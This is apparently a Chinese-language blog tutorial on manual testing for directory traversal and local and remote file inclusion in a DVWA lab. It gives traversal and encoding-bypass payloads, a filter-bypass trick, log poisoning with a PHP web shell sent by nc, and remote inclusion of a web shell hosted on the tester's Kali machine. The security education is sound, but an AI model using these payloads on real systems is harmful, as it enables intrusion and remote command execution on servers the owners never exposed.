美文网首页
二十一、手动漏洞挖掘(4)目录遍历/文件包含

二十一、手动漏洞挖掘(4)目录遍历/文件包含

作者: cybeyond | 来源:发表于2017-11-01 16:34 被阅读0次

    1、区别

    • 目录遍历:Directory traversal
      • 目录遍历:指除浏览web本目录外,能够浏览web目录外的文件;
    • 文件包含:File include
      • 文件包含:指系统执行访问请求时,调用web本身目录外的文件,作为访问结果。其中又分为LFI(本地文件包含)和RFI(远程文件包含),RFI可以放一个远程木马文件,访问中RFI包含远程木马文件,此时访问能被直接执行,拿到shell。

    2、实例

    /usr/share/wfuzz/wordlist/vulns/下有相应的用于黑盒测试表,可用于burpsuite的intruder进行测试。

    默认只有本地文件包含,要想使用远程文件包含,需要修改配置文件:

    # vi/etc/php5/cgi/php.ini   //编辑配置文件
    allow_url_include=on  //修改参数为on
    #sudo /etc/init.d/apache2 restart
    

    2.1 典型特征

    看到变量的值为一个页面,如
    ?page=a.php
    ?home=b.html
    ?file=content
    需要着重关注,有可能存在文件包含漏洞。

    访问file inclusion

    2.2 经典测试方法

    ?file=../../../../etc/passwd
    ?page=file:///etc/passwd
    ?home=main.cgi
    ?page=http://www.a.com/1.php     //远程文件包含
     http://1.1.1.1/../../../dir/file.txt
    
    通过../查看/etc/passwd 通过file://查看 远程文件包含进来

    上述163网站有过滤,查看其它的网站(如新浪)或者木马

    Paste_Image.png

    2.3 编码绕过

    一般来说,服务器对 ascii的前128个字符不会过滤,比如a,b,c等字符,但是对于一些/、.等字符会过滤。对于php5版本,当看到文件后缀为特定字符时,默认会忽略后面的内容,如“.”,“%00”(空字符的URL编码)可以绕过文件扩展名过滤。
    举例:?file=a.doc%00.php //默认应用程序后补齐a.doc.php,并且认为不是php程序而执行报错,当加上%00,后面的内容php会忽略。
    其中,编码包括url编码、双层url编码,unicode/UTF-8编码,但是前提是服务器端能够识别此编码并解析

    编码绕过

    2.3 不同操作系统的路径特征字符

    • 类UNIX系统:
      • 根目录:/
      • 目录层级分隔符:/
    • Windows系统
      • C:\
      • \或/
        其它系统路径可能使用到的字符:
    file.txt...
    file.txt<spaces>  //多个空格
    file.txt """"
    file.txt<<<>>><
    ./././file.txt
    noneexistant/../file.txt  //如cd a/../b.txt(其中a目录不存在)
    UNC路径:用于文件共享目录
    \\1.1.1.1\path\to\file.txt
    

    2.4本地文件包含lfi

    实例:通过php服务器的日志进行文件包含代码的注入
    原因:由于权限设置的不合理,导致在先插入一条错误的指令(php代码)到access.log后,能够被文件包含利用后执行

    #/var/log/apache2/access.log日志信息可看到URL中包含的信息
    然后在kali开启nc连接访问:

    #nc 192.168.1.101 80   //连接靶机的80端口
    输入
    <?php echo shell_exec($_GET['cmd']);?>  //提示访问不成功,不是正常访问请求
    
    php代码访问

    但此时,通过查看日志信息,发现有一条日志记录


    日志访问信息

    由于用户www-data对access.log没有读取权限,如果设置有读取权限的话,即可利用漏洞。因此先修改access.log的访问权限,让www-data也能够读取访问:

    #chmod a+rx /var/log/apache2
    #chmod a+rx /var/log/appache2/access.log
    

    访问权限执行设置完成后,下面开始通过文件包含将access.log包含进来,并让其执行php的代码。

    访问文件并执行代码

    查看结果,可以看到执行'id'命令时,系统执行了此命令并返回


    执行结果

    2.5远程文件包含rfi

    2.5.1判断

    在kali上执行nc监听80端口,然后在通过ip访问靶机地址,然后通过远程文件包含一个文件(随意命名,只是测试),看靶机是否能将请求发送到kali上:

    kali本机监听80端口

    访问靶机时,将远程50.115上的a.php文件包含进来

    访问靶机并远程包含kali文件

    查看kali上监听的结果,发现远程包含可以被执行,在访问时要来kali上取a.php文件:

    监听结果

    上面的使用是secure=low,低安全级别的,如果升级为“中”安全级别,可以看下源码:

    medium级别源码
    中安全级别对上面输入的http及https进行了过滤,因此如果再像上面那样输入的话会报错,如何才能屏蔽此过滤限制呢?
    源码中对http://和https://进行了限制,但是如果在访问中输入:192.168.50.183/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.50.115/a.php,由于中间的http://被转换为空,因此又成为了http://的访问 绕过中级别过滤限制
    2.5.2 RFI实际测试

    在kali上的/var/www/html/下建立1.txt,并将<?php echo shell_exec($_GET['cmd']);?>写入到1.txt中

    1.txt

    启动kali上的apache,service apache2 start

    访问RFI文件 监听结果

    通过上面两个图,可以看到能够访问到RFI文件,下面尝试能否执行此RFI文件执行命令:


    RFI远程文件代码执行

    相关文章

      网友评论

          本文标题:二十一、手动漏洞挖掘(4)目录遍历/文件包含

          本文链接:https://www.haomeiwen.com/subject/ahqdpxtx.html